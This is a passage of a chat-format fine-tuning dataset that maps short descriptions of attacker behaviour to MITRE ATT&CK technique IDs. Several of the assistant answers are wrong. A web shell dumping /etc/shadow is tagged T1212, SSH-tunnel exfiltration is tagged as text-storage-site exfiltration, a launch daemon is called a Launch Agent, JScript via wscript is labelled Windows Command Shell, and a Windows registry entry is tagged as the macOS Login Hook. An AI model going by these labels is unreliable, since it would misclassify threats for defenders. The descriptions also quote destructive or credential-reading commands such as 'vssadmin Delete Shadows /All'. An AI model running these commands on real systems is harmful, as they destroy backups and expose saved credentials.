                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker executed \"docker system prune\" to erase logs and evidence of their activities from the host system."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary schedules a task to repeatedly disable the firewall at system startup using a batch script."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged ICMP echo request messages to tunnel command-and-control communications, bypassing standard firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A mobile app's API endpoint fails to sanitize user input, enabling injection of malicious JSON that alters app behavior."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised account to edit the system's login hook, causing unauthorized commands to run at user logon."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stops the Windows Event Log service to prevent logging of malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary moves from a compromised Docker container to the underlying host OS by exploiting the container runtime."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages the WebShell's ability to run arbitrary commands on a compromised web server, dumping the password hashes from /etc/shadow."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used 'vssadmin Delete Shadows /All' to remove all Volume Shadow Copies."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised server runs a WMI query that retrieves the contents of the SAM file and exfiltrates it to the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection phase, the malware’s installer was recompiled with all compiler flags removed, erasing any clues about the build environment."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor leveraged leaked credentials to create new cloud compute instances across multiple regions, facilitating data theft."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors buy design specifications for a proprietary encrypted communication protocol from a private broker."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using a one-way web service, the attacker sends data out of the network, bypassing firewalls that block inbound connections."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targeting CVE-2020-0601 is used to bypass security controls and obtain higher-level permissions."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows code signing policy to allow execution of binaries signed with a malicious certificate, bypassing trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a legitimate system utility's name to match a benign application, such as renaming \"netsh.exe\" to \"photoshop.exe\", to evade security tools."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group set up a Remote Management Service (such as VNC) on the victim machine, granting the attacker continuous remote access from outside the network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom tool that wipes all network interface configuration files and clears connection logs."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a Python script that iterates through running processes and injects malicious code into them."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused a default password on a network appliance, gaining control over the server and modifying DNS entries for domain hijacking."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed a batch script via cmd.exe to launch a downloader on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group configures a launch daemon to start a data exfiltration service during boot."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary installs a rootkit that removes firewall rules, effectively opening the system to external connections."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Mattermost instance, the attackers export chat logs and automatically parse them for credential patterns."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant utilizes native system calls (e.g., NtWriteFile) to write data to disk without using higher‑level I/O APIs."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a compromised email account to reset the password of the victim’s YouTube channel via the account recovery process."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted packet triggers a buffer overflow in a VPN client, enabling the extraction of stored VPN credentials."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is placed in the Windows System32 folder, which is then loaded by multiple benign services, effectively spreading the payload via shared modules."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sends a malicious PowerShell one-liner that invokes a web request to fetch a RAT binary and stores it under %TEMP%."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes an encrypted channel over the Tor network to hide C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses 'security find-internet-password' to locate and export saved website logins from the keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor reads an obfuscated JSON payload from a C2 server, then runs a deobfuscation routine to reconstruct the original commands."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker gains privileged access to a corporate AD and changes the SAML token signing certificate, causing the hybrid identity authentication flow to trust malicious tokens."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware searches for GPP files in the SYSVOL share and extracts embedded admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script was used to create a new trust link between the victim’s domain and an attacker‑owned domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the victim's system searches for *.docx, *.xlsx, and *.pdf files, encrypts them with AES, and appends a .locked extension before contacting a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending a series of TCP packets to ports 4000, 5000, and 6000 in order, the adversary signals the compromised host to start a reverse shell connection."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the browser's certificate store by adding a malicious root certificate, granting them control over SSL connections."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting malicious code into a cloud service, the attacker reconfigures the storage encryption to use a 56‑bit key, significantly weakening protection."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a tool to set the last accessed time of log files to an earlier date, effectively erasing evidence of their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a vulnerable web interface to launch CLI commands on a network appliance, altering its logging configuration."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries public certificate transparency logs to discover TLS certificates issued to the victim's domains."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the KernelCallbackTable, the threat actor redirects legitimate callbacks to malicious routines, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries allocate memory in a target process and write malicious shellcode to thread-local storage before hijacking a thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder removes system event logs on both Linux and macOS machines using the 'rm' command on log directories."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies an existing Windows shortcut (.lnk) to change its target to a payload stored in %APPDATA%."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access Trojan executed 'ufw disable' on a compromised Ubuntu machine, turning off its Uncomplicated Firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue process was launched with the name \"explorer.exe\" to hide its malicious activity among legitimate Windows Explorer processes."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration is performed by embedding encrypted data into Bluetooth Low Energy advertising packets that are collected by the attacker’s scanner."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the in‑memory DLL export table of a system library to point to malicious functions."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit legitimate domain logons to run PowerShell scripts on multiple endpoints."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses 'ipconfig /all' to retrieve the IPv4 address and default gateway, revealing the host's internet connection details."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote command was executed on a Windows host by writing a script to the ADMIN$ share and invoking it through schtasks."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages DHCP starvation to exhaust available IP leases, then introduces a fake DHCP server that provides victims with attacker-controlled network settings."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a malicious script that activates the webcam, records video, and emails the files to a command‑and‑control address."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised API key to authenticate to cloud services."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups utilize Mavinject to perform code injection into a trusted Windows service, achieving execution via the System Binary Proxy Execution method."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code compresses key database tables and exfiltrates them via an encrypted SSH tunnel."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages WMIC with `wmic group get name` to retrieve a list of local groups on the target."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a custom file association that points to a benign-sounding script, then invokes it through a trusted application to run malicious code."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script updates the DefaultProgram key for .exe files to point to a trojanized launcher, causing any executable to launch the trojan first."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries wipe persistence artifacts, including scheduled tasks and registry autorun entries, to cover their tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded in a Windows Registry Run key, which indirectly executes a PowerShell script that downloads additional tools."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload opens a hidden window that registers a global hotkey, enabling command and control communications without user detection."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal uses a voice‑phishing call, posing as a bank representative to trick the victim into revealing account numbers."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Windows utility wscript.exe to execute a malicious JScript file that runs system commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a DLL as a LoginHook by setting the Registry entry HKLM\\...\\Winlogon\\LoginHook, causing the DLL to load at each login."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension reads JWT tokens from the browser's memory and sends them to the attacker’s command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign includes a hidden step that triggers an MFA request on the victim’s device, prompting the user to approve to proceed with the login."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates password complexity requirements by executing 'net accounts' on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account downloads the Cisco IOS configuration file from a central repository, revealing network topology and secrets."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code installs a tunneling tool that creates an encrypted channel through the firewall, allowing the adversary to move laterally across network boundaries."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses rsync over SSH to synchronize stolen data with an external repository."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Infected host runs a script that sets the AC power source to 'High Performance' profile to maximize CPU usage for cryptomining."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
